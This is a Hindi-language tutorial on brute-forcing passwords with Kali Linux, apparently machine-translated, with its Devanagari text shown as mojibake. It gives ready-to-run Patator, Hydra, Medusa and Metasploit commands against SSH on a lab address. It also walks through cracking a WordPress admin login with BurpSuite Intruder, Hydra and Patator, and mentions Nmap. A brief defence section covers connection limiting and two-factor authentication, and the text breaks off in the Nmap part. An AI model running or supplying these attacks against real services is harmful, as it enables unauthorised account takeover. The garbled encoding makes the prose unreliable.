рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП рдЬрд╛рдирд╡рд░ рдмрд▓ рдХреЗ рд╣рдорд▓реЗ



Brute-Force (Brute Force Attack) рдЧрдгрд┐рддреАрдп рд╕рдорд╕реНрдпрд╛рдУрдВ рдХреЛ рд╣рд▓ рдХрд░рдиреЗ рдХреА рдПрдХ рд╡рд┐рдзрд┐ рд╣реИ, рдЬрд┐рд╕рдХреА рдЬрдЯрд┐рд▓рддрд╛ рд╕рднреА рд╕рдВрднрд╛рд╡рд┐рдд рд╕рдорд╛рдзрд╛рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдкрд░ рдирд┐рд░реНрднрд░ рдХрд░рддреА рд╣реИред рдмреНрд░реВрдЯ-рдмрд▓ рд╢рдмреНрдж рдХрд╛ рдЙрдкрдпреЛрдЧ рдЖрдорддреМрд░ рдкрд░ рд╣реИрдХрд░ рд╣рдорд▓реЛрдВ рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдЬрдм рдХреЛрдИ рд╣рдорд▓рд╛рд╡рд░ рдХрд┐рд╕реА рдЦрд╛рддреЗ рдпрд╛ рд╕реЗрд╡рд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдб рд▓реЗрдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рддрд╛ рд╣реИред

рдЙрди рдЙрдкрдХрд░рдгреЛрдВ рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ рдЬрд┐рдирдХрд╛ рдЙрдкрдпреЛрдЧ SSH рдФрд░ WEB рд╕реЗрд╡рд╛рдУрдВ рдкрд░ рдХрд╛рд▓реА рд▓рд┐рдирдХреНрд╕ (Patator, Medusa, Hydra, Metasploit), рдФрд░ рд╕рд╛рде рд╣реА BurpSuite рдореЗрдВ рдкрд╛рд╢рд╡рд┐рдХ рдмрд▓ рдХреЗ рд╣рдорд▓реЛрдВ рдХреЛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред

рдЗрд╕ рд▓реЗрдЦ рдХреЗ рддрд╣рдд рдкреНрд░рджрд╛рди рдХреА рдЧрдИ рд╕рднреА рд╕рд╛рдордЧреНрд░реА рдХреЗрд╡рд▓ рд╢реИрдХреНрд╖рд┐рдХ рдЙрдкрдпреЛрдЧ рдХреЗ рд▓рд┐рдП рдЕрднрд┐рдкреНрд░реЗрдд рд╣реИред рдЧреИрд░рдХрд╛рдиреВрдиреА рдФрд░ рдЕрд╡реИрдз рдореЗрдВ рд╕рд╛рдордЧреНрд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдирд┐рд╖рд┐рджреНрдз рд╣реИред

рдкрд╛рд╢рд╡рд┐рдХ-рдмрд▓ ssh


рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдкрд░реАрдХреНрд╖рдг рдорд╢реАрди 192.168.60.50 рд▓реЗрдВ рдФрд░ SSH рджреНрд╡рд╛рд░рд╛ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдкрд░реАрдХреНрд╖рдг рдХрд╛ рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред рд╣рдо рдорд╛рдирдХ рд░реЙрдХрдпреМ.рдЯреИрдХреНрд╕ рд╢рдмреНрджрдХреЛрд╢ рд╕реЗ рд▓реЛрдХрдкреНрд░рд┐рдп рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред



Patator
Patator рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдЪреБрдирдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

patator ssh_login host=192.168.60.50 user=test password=FILE0 0=/root/wordlist -x ignore:mesg='Authentication failed'

рдЬрд╣рд╛рдВ:
ssh_login - рдЖрд╡рд╢реНрдпрдХ рдореЙрдбреНрдпреВрд▓
рдореЗрдЬрдмрд╛рди рд╣рдорд╛рд░рд╛ рд▓рдХреНрд╖реНрдп рд╣реИ
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд▓реЙрдЧрд┐рди рдЬрд┐рд╕рдХреЗ рд▓рд┐рдП рдХрдИ рдЪрдпрди рдХреЗ рд▓рд┐рдП рд▓реЙрдЧрд┐рди рдХреЗ рд╕рд╛рде рдкрд╛рд╕рд╡рд░реНрдб рдпрд╛ рдлрд╝рд╛рдЗрд▓ рдХрд╛ рдЪрдпрди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ
рдкрд╛рд╕рд╡рд░реНрдб - рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд╢рдмреНрджрдХреЛрд╢
-x рдЕрдирджреЗрдЦрд╛ рдХрд░реЗрдВ: mesg = 'рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╡рд┐рдлрд▓' - рдХрдорд╛рдВрдб рдЗрд╕ рд╕рдВрджреЗрд╢ рдХреЗ рд╕рд╛рде рдПрдХ рдкрдВрдХреНрддрд┐ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рдХрд░рддрд╛ рд╣реИред рдлрд╝рд┐рд▓реНрдЯрд░рд┐рдВрдЧ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╡реНрдпрдХреНрддрд┐рдЧрдд рд░реВрдк рд╕реЗ рдЪреБрдирд╛ рдЬрд╛рддрд╛ рд╣реИред

рдЫрд╡рд┐



рд╣реАрдбреНрд░рд╛
рд╣рд╛рдЗрдбреНрд░рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЪрдпрди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

hydra -V -f -t 4 -l test -P /root/wordlist ssh://192.168.60.50

рдЬрд╣рд╛рдВ:
-V - рдкреБрдирд░рд╛рд╡реГрддреНрддрд┐ рдХреЗ рджреМрд░рд╛рди рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо + рдкрд╛рд╕рд╡рд░реНрдб рдХреА рдПрдХ рдЬреЛрдбрд╝реА рджрд┐рдЦрд╛рдПрдВ
-f - рдирд┐рд░реНрджрд┐рд╖реНрдЯ рд▓реЙрдЧрд┐рди рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдорд┐рд▓рддреЗ рд╣реА рд░реБрдХ рдЬрд╛рдПрдВ
рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкрде -
ssh: //192.168.60.50 - рдкреАрдбрд╝рд┐рдд рдХрд╛ рд╕реЗрд╡рд╛ рд╕рдВрдХреЗрдд рдФрд░ рдЖрдИрдкреА рдкрддрд╛

рдЫрд╡рд┐



рдореЗрдбреБрд╕рд╛
рдореЗрдбреБрд╕рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдЪреБрдирдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░реЗрдВ:

medusa -h 192.168.60.50 -u test -P /root/wordlist -M ssh -f -v 6

рдЬрд╣рд╛рдВ:
-h - рдкреАрдбрд╝рд┐рдд рдЖрдИрдкреА рдкрддрд╛
-рдЙ - рд▓реЙрдЧрд┐рди
-рдк - рд╢рдмреНрджрдХреЛрд╢ рдорд╛рд░реНрдЧ
-рдПрдо - рдореЙрдбреНрдпреВрд▓ рдЪрдпрди
-f - рдПрдХ рд╡реИрдз рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝реА рдЦреЛрдЬрдиреЗ рдХреЗ рдмрд╛рдж рдмрдВрдж рдХрд░реЛ
-v - рдЪрдпрди рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЗ рджреМрд░рд╛рди рд╕реНрдХреНрд░реАрди рдкрд░ рд╕рдВрджреЗрд╢реЛрдВ рдХреЗ рдкреНрд░рджрд░реНрд╢рди рдХреЛ рд╕реЗрдЯ рдХрд░рдирд╛

рдЫрд╡рд┐



Metasploit
рд╣рдо SSH рдкрд░ рдкрд╛рд╢рд╡рд┐рдХ рдмрд▓ рдХреЗ рд╣рдорд▓реЛрдВ рдХрд╛ рд╕рдВрдЪрд╛рд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдЙрдкрдХрд░рдг рдХреА рдЦреЛрдЬ рдХрд░реЗрдВрдЧреЗ:
search ssh_login рдФрд░ рдЙрддреНрддрд░ рдорд┐рд▓рд╛:

рдЫрд╡рд┐

рд╣рдо рдореЙрдбреНрдпреВрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реИрдВ:

use auxiliary/scanner/ssh/ssh_login

рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП, show options рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ show options ред рд╣рдорд╛рд░реЗ рд▓рд┐рдП рдпрд╣ рд╣реИ:
rhosts - рдкреАрдбрд╝рд┐рдд рдЖрдИрдкреА рдкрддрд╛
рдмрдВрджрд░рдЧрд╛рд╣ - рдмрдВрджрд░рдЧрд╛рд╣
рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо - SSH рд▓реЙрдЧрд┐рди
userpass_file - рд╢рдмреНрджрдХреЛрд╢ рдХреЗ рд▓рд┐рдП рдкрде
stop_on_success - рдЬреИрд╕реЗ рд╣реА рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо / рдкрд╛рд╕рд╡рд░реНрдб рдЬреЛрдбрд╝рд╛ рдЬрд╛рддрд╛ рд╣реИ, рд╡реИрд╕реЗ рд╣реА рд░реБрдХ рдЬрд╛рдПрдВ
рдзрд╛рдЧреЗ - рдзрд╛рдЧреЗ рдХреА рд╕рдВрдЦреНрдпрд╛

рдЫрд╡рд┐

рдЖрд╡рд╢реНрдпрдХ рдорд╛рдкрджрдВрдбреЛрдВ рдХрд╛ рд╕рдВрдХреЗрдд " рд╕реЗрдЯ " рдХрдорд╛рдВрдб рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИред

set rhosts 192.168.60.50
set username test
set userpass_file /root/wordlist
set stop_on_success yes
set threads 4
set rport 22


рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо " рд░рди " рдХрдорд╛рдВрдб рдЯрд╛рдЗрдк рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рдкреНрд░рддреАрдХреНрд╖рд╛ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╡рд┐рдкрдХреНрд╖


рдлрд╝рд╛рдпрд░рд╡реЙрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рд╕реНрдерд╛рдкрд┐рдд рдХрдиреЗрдХреНрд╢рдиреЛрдВ рдХреА рд╕рдВрдЦреНрдпрд╛ рдХреЛ рд╕реАрдорд┐рдд рдХрд░реЗрдВред рдЙрджрд╛рд╣рд░рдг iptables рд╕реЗрдЯрдЕрдк:

-A INPUT -i eth0 -p tcp --dport 22 -m connlimit --connlimit-above 1 --connlimit-mask 32 -j REJECT --reject-with tcp-reset ред

рдЗрд╕ рддрд░рд╣ рдХрд╛ рдирд┐рдпрдо рдкреНрд░рддреНрдпреЗрдХ рдЖрдИрдкреА рдкрддреЗ рдХреЗ рд▓рд┐рдП рдПрд╕рдПрд╕рдПрдЪ рддрдХ рдкрд╣реБрдВрдЪ рдХреЛ рдкреНрд░рддрд┐ рд╕реЗрдХрдВрдб 1 рдХрдиреЗрдХреНрд╢рди рддрдХ рд╕реАрдорд┐рдд рдХрд░ рджреЗрдЧрд╛, рдЬрд┐рд╕рд╕реЗ рдЦреЛрдЬ рдмрд╣реБрдд рдЬрдЯрд┐рд▓ рд╣реЛ рдЬрд╛рдПрдЧреАред рдЗрд╕рдХреЗ рдЕрд▓рд╛рд╡рд╛, рдПрдХ рдкреНрд░рднрд╛рд╡реА рд╕рдорд╛рдзрд╛рди рджреЛ-рдХрд╛рд░рдХ рдкреНрд░рдорд╛рдгреАрдХрд░рдг (рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдИрдЯрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ) рдпрд╛ рдПрдХ рдкреНрд░рдореБрдЦ рдЬреЛрдбрд╝реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкреНрд░рдорд╛рдгреАрдХрд░рдг рд╣реЛ рд╕рдХрддрд╛ рд╣реИ, рд╕рд╛рде рд╣реА рдЖрдИрдкреА рдкрддреЗ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдПрд╕реАрдПрд▓ рдХрд╛ рдЙрдкрдпреЛрдЧ рднреА рд╣реЛ рд╕рдХрддрд╛ рд╣реИред

рдЬрд╛рдирд╡рд░ рдмрд▓ рд╡рд░реНрдбрдкреНрд░реЗрд╕


рдЖрдЗрдП рдПрдХ рдФрд░ рдЙрджрд╛рд╣рд░рдг рджреЗрдЦреЗрдВ - рд╡реЗрдм рдлрд╝реЙрд░реНрдо рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╡рд┐рдВрдбреЛ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЪрдпрди рдХрд░рдирд╛ред

рдЫрд╡рд┐

рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рд╣рдо рд╡рд░реНрдбрдкреНрд░реЗрд╕ рд╡реНрдпрд╡рд╕реНрдерд╛рдкрдХ рдЦрд╛рддреЗ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдХрд╛ рдЪрдпрди рдХрд░реЗрдВрдЧреЗред



BurpSuite
рд╕рдмрд╕реЗ рдкрд╣рд▓реЗ, рд╣рдореЗрдВ рдпрд╣ рд╕рдордЭрдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдХрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреИрд╕реЗ рд╣реЛрддреА рд╣реИред рдЗрд╕рдХреЗ рд▓рд┐рдП рд╣рдо BurpSuite рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗред рд╣рдореЗрдВ рдХрд┐рд╕реА рднреА рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд▓реЙрдЧ рдЗрди рдХрд░рдиреЗ рдХреА рдХреЛрд╢рд┐рд╢ рдХрд░рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИ рдФрд░ рдпрд╣ рджреЗрдЦрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐ рдмрд░реНрдкрд╕реБрдЗрдЯ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХреНрдпрд╛ рдЕрдиреБрд░реЛрдз рдЪрд▓рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рдЦреИрд░, рд╣рдордиреЗ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд▓рд┐рдП рдПрдХ POST рдЕрдиреБрд░реЛрдз рджреЗрдЦрд╛, рд╣рдо рдЗрд╕рдХреЗ рд╕рд╛рде рдХрд╛рдо рдХрд░реЗрдВрдЧреЗред
BODY рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕рд╛ рд▓реЙрдЧрд┐рди рдФрд░ рдкрд╛рд╕рд╡рд░реНрдб рдЪреЗрдХ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛, рдЬрд┐рд╕рдХрд╛ рдЕрд░реНрде рд╣реИ рдХрд┐ рд╣рдо рдЙрди рдореВрд▓реНрдпреЛрдВ рдХреЛ рд╕реНрдерд╛рди рджреЗрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдирдХреА рд╣рдореЗрдВ рдЕрдкрдиреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реИред
рд╣рдо рдШреБрд╕рдкреИрдард┐рдпреЗ рдХреЛ рдпрд╣ рдЕрдиреБрд░реЛрдз рджреЗрддреЗ рд╣реИрдВ рдФрд░ рд╡рд╣рд╛рдБ рд╣рдо рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдорд╛рдкрджрдВрдбреЛрдВ рдХрд╛ рдЪрдпрди рдХрд░рддреЗ рд╣реИрдВред рдкреЗрд▓реЛрдб рдкреЛрдЬрд╝рд┐рд╢рди рдЖрдЗрдЯрдо рдореЗрдВ, рд╣рдо рд╣рдорд▓реЗ рдХреЗ рдкреНрд░рдХрд╛рд░ рдХреЛ рд╕реНрдирд╛рдЗрдкрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдЫреЛрдбрд╝ рджреЗрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди рд╕рддреНрдпрд╛рдкрди рдХреЗ рд▓рд┐рдП рд╣рдо рдХреЗрд╡рд▓ pwd рдкреИрд░рд╛рдореАрдЯрд░ рдЫреЛрдбрд╝рддреЗ рд╣реИрдВред рдЗрд╕ рдкреНрд░рдХрд╛рд░, рдПрдХ рд╣рдорд▓рд╛ рдХреЗрд╡рд▓ рдЗрд╕ рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рдмрджрд▓ рджреЗрдЧрд╛ред

рдЫрд╡рд┐

рд╣рдо рдЖрд╡рд╢реНрдпрдХ рд╢рдмреНрджрдХреЛрд╢ рд▓реЛрдб рдХрд░рддреЗ рд╣реИрдВ рдФрд░ рд╣рдорд▓реЗ рд╢реБрд░реВ рдХрд░рддреЗ рд╣реИрдВред

рдЫрд╡рд┐

рд╡реЗрдм рдПрдкреНрд▓рд┐рдХреЗрд╢рди рдХреЗ рд╡реНрдпрд╡рд╣рд╛рд░ рд╕реЗ, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдЧрд▓рдд рдкрд╛рд╕рд╡рд░реНрдб рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛрдб 200 рдХреЛ рд╡рд╛рдкрд╕ рдХрд░ рджреЗрддрд╛ рд╣реИред рд╢рдмреНрджрдХреЛрд╢ рдЦреЛрдЬрдиреЗ рдХреЗ рдмрд╛рдж, рд╣рдо рджреЗрдЦрддреЗ рд╣реИрдВ рдХрд┐ рдкрд╛рд╕рд╡рд░реНрдб рдореЗрдВ рд╕реЗ рдПрдХ рдиреЗ рдХреЛрдб 302 рдХреЗ рд╕рд╛рде рдЙрддреНрддрд░ рджрд┐рдпрд╛ - рдпрд╣ рд╕рд╣реА рд╣реИред

рдЫрд╡рд┐

рдкрдЯрд╕рди, рд╣рд╛рдЗрдбреНрд░рд╛, рдореЗрдбреБрд╕рд╛ рдЗрддреНрдпрд╛рджрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╕рдордп рдпрд╣ рдмреНрд░реВрдЯ рдлреЛрд░реНрд╕ рд╡рд┐рдзрд┐ рдХреА рддреБрд▓рдирд╛ рдореЗрдВ рдЕрдзрд┐рдХ рд╕рдордп рд▓реЗрддрд╛ рд╣реИред рднрд▓реЗ рд╣реА рд╣рдордиреЗ рдПрдХ рдЫреЛрдЯрд╛ рд╢рдмреНрджрдХреЛрд╢ рд▓рд┐рдпрд╛, рд▓реЗрдХрд┐рди рдмрд░реНрдкрд╕реБрдЗрдЯ рдиреЗ рд▓рдЧрднрдЧ 40 рдорд┐рдирдЯ рдХреЗ рд▓рд┐рдП рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкреБрдирд░рд╛рд╡реГрддрд┐ рдХреАред



рд╣реАрдбреНрд░рд╛
рдЖрдЗрдП рд╣рд╛рдЗрдбреНрд░рд╛ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдХреЗ рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬрдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЬрд╛рдирддреЗ рд╣реИрдВ, рдпрджрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдЧрд▓рдд рд╣реИ, рддреЛ рдХреЛрдб 200 рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рд╡рд╣ 302 рджреЗрддрд╛ рд╣реИред рдЖрдЗрдП рдЗрд╕ рдЬрд╛рдирдХрд╛рд░реА рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдкреНрд░рдпрд╛рд╕ рдХрд░реЗрдВред
рд╢реБрд░реВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП, рдХрдорд╛рдВрдб рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВ:

hydra -V -f -l admin -P /root/wordlist -t 4 http-post-form://192.168.60.50 -m "/wp-login.php:log=^USER^&pwd=^PASS^&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1:S=302"

рдпрд╣рд╛рдВ рд╣рдо рдЖрд╡рд╢реНрдпрдХ рдорд╛рдкрджрдВрдбреЛрдВ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:
-рдПрд▓ - рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо
- рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд╢рдмреНрджрдХреЛрд╢
-t - рдереНрд░реЗрдбреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛
http-post-form - рдкреНрд░рдХрд╛рд░ рдХрд╛ рдкреНрд░рдХрд╛рд░, рд╣рдорд╛рд░реЗ рдкрд╛рд╕ POST рд╣реИред
/wp-login.php рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкреГрд╖реНрда рдХрд╛ URL рд╣реИ
^ USER ^ - рдкрддрд╛ рдЪрд▓рддрд╛ рд╣реИ рдХрд┐ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХрд╣рд╛рдВ рд╕реНрдерд╛рдирд╛рдкрдиреНрди рд╣реИ
^ PASS ^ - рд╢рдмреНрджрдХреЛрд╖ рд╕реЗ рдкрд╛рд╕рд╡рд░реНрдб рдХреЛ рдмрджрд▓рдиреЗ рдХреЗ рд▓рд┐рдП рджрд┐рдЦрд╛рддрд╛ рд╣реИ
рдПрд╕ = 302 - рдПрдХ рд╕рдВрдХреЗрдд рд╣реИ рдЬреЛ рд╣рд╛рдЗрдбреНрд░рд╛ рдкрд░ рднрд░реЛрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рдЬрд╡рд╛рдм рджреЗрддрд╛ рд╣реИред рд╣рдорд╛рд░реЗ рдорд╛рдорд▓реЗ рдореЗрдВ, рдЬрд╡рд╛рдм рд╕рдлрд▓ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдкрд░ 302 рд╣реИред

рдЫрд╡рд┐



Patator
рдЬреИрд╕рд╛ рдХрд┐ рд╣рдо рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЬрд╛рдирддреЗ рд╣реИрдВ, рдпрджрд┐ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╡рд┐рдлрд▓ рд╣реЛ рдЬрд╛рддрд╛ рд╣реИ, рддреЛ рдХреЛрдб 200 рд╡рд╛рдкрд╕ рдЖ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рд╕рдлрд▓ рд╣реЛрддрд╛ рд╣реИ, рддреЛ рдпрд╣ 302 рджреЗрддрд╛ рд╣реИред рд╣рдо рд╣рд╛рдЗрдбреНрд░рд╛ рдХреЗ рд╕рд╛рде рднреА рдЗрд╕реА рд╕рд┐рджреНрдзрд╛рдВрдд рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░реЗрдВрдЧреЗ:
рд▓реЙрдиреНрдЪ рдХрдорд╛рдВрдб рджреНрд╡рд╛рд░рд╛ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ:

patator http_fuzz url=http://192.168.60.50/wp-login.php method=POST body='log=admin&pwd=FILE0&wp-submit=Log+In&redirect_to=http%3A%2F%2F192.168.60.50%2Fwp-admin%2F&testcookie=1' 0=/root/wordlist -t 4 before_urls=http://192.168.60.50/wp-login.php -x ignore:code=200 accept_cookie=1

http_fuzz - рдмреНрд░реВрдЯ-рдмрд▓ http рд╣рдорд▓реЗ рдХреЗ рд▓рд┐рдП рдореЙрдбреНрдпреВрд▓
url - рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рд╕рд╛рде рдкреГрд╖реНрда рдХрд╛ рдкрддрд╛
FILE0 - рдкрд╛рд╕рд╡рд░реНрдб рдХреЗ рд╕рд╛рде рд╢рдмреНрджрдХреЛрд╢ рдореЗрдВ рдкрде
рд╢рд░реАрд░ - рдЬрд╛рдирдХрд╛рд░реА рдЬреЛ рдкреНрд░рд╛рдзрд┐рдХрд░рдг рдХреЗ рджреМрд░рд╛рди POST рдЕрдиреБрд░реЛрдз рдореЗрдВ рдкреНрд░рд╕рд╛рд░рд┐рдд рд╣реЛрддреА рд╣реИ
-t - рдереНрд░реЗрдбреНрд╕ рдХреА рд╕рдВрдЦреНрдпрд╛
-x - рдЗрд╕ рдорд╛рдорд▓реЗ рдореЗрдВ, рд╣рдордиреЗ рдХрдорд╛рдВрдб рдХреЛ рдХреЛрдб 200 рдХреЗ рд╕рд╛рде рдПрдХ рдкреИрд░рд╛рдореАрдЯрд░ рд╡рд╛рд▓реЗ рд╕рдВрджреЗрд╢ рд▓рд╛рдЗрдиреЛрдВ рдХреЛ рдкреНрд░рджрд░реНрд╢рд┐рдд рдирд╣реАрдВ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд┐рдпрд╛
accept_cookie - рдХреБрдХреА рдкреИрд░рд╛рдореАрдЯрд░ рдХреЛ рд╕рд╣реЗрдЬреЗрдВ рдФрд░ рдЗрд╕реЗ рдЕрдЧрд▓реЗ рдЕрдиреБрд░реЛрдз рдкрд░ рдкрд╛рд╕ рдХрд░реЗрдВ
рдирддреАрдЬрддрди, рд╣рдо рдПрдХ рдкрд╛рд╕рд╡рд░реНрдб рдЦреЛрдЬрдиреЗ рдореЗрдВ рдХрд╛рдордпрд╛рдм рд░рд╣реЗред

рдЫрд╡рд┐



Nmap
рдпрджрд┐ рдЖрдк http-wordpress-brute рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХрд╛ рдЙрдкрдпреЛрдЧ рдЗрд╕реА рддрд░реНрдХ рдХреЗ рд╕рд╛рде рдХрд░рддреЗ рд╣реИрдВ, рддреЛ рдЕрдиреНрдп рдмрд╛рддреЛрдВ рдХреЗ рдЕрд▓рд╛рд╡рд╛, Nmap рдЙрдкрдпреЛрдЧрд┐рддрд╛ рд╡реЗрдм рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд░реВрдкреЛрдВ рдХреЗ рд▓рд┐рдП рдкрд╛рд╕рд╡рд░реНрдбреЛрдВ рдХреЗ рдЪрдпрди рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ:
--рд╕реНрдХреНрд░рд┐рдкреНрдЯ-рдЖрд░реНрдЧреНрд╕ - рддрд░реНрдХ рдЬреЛрдбрд╝рдирд╛
user or userdb - рд▓реЙрдЧрд┐рди рдХреЗ рд╕рд╛рде рд▓реЙрдЧрд┐рди рдпрд╛ рдлрд╝рд╛рдЗрд▓
